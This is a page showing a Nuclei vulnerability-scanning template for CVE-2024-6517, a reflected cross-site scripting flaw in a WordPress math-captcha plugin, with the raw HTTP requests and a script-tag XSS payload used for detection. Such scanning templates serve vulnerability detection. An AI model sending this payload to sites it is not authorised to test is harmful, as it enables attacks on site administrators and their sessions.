Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting

ID: CVE-2024-6517

Severity: medium

Author: s4e-io

Tags: cve,cve2024,wp,wordpress,wp-plugin,xss,ds-cf7-math-captcha

Description

The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.

YAML Source

id: CVE-2024-6517

info:
  name: Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.
  reference:
    - https://wpscan.com/vulnerability/d04bab9c-7cb4-4d21-b70b-a4a7fabc3c20/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6517
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-6517
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.09608
    cpe: cpe:2.3:a:dotsquares:contact_form_7_math_captcha:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dotsquares-wpteam
    product: ds-cf7-math-captcha
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ds-cf7-math-captcha"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,ds-cf7-math-captcha

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/ds-cf7-math-captcha")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=dscf7_refreshcaptcha&tagname="<script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402200217c5594e9ea138ac4ead6b0c7a8c1de85103a679ab69ed6f046e91d197788c022042c0a58a5147bed4fc7f263dfab17cb4d2691ef661ab6c60b3b3656f7f205a99:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6517.yaml"

View on Github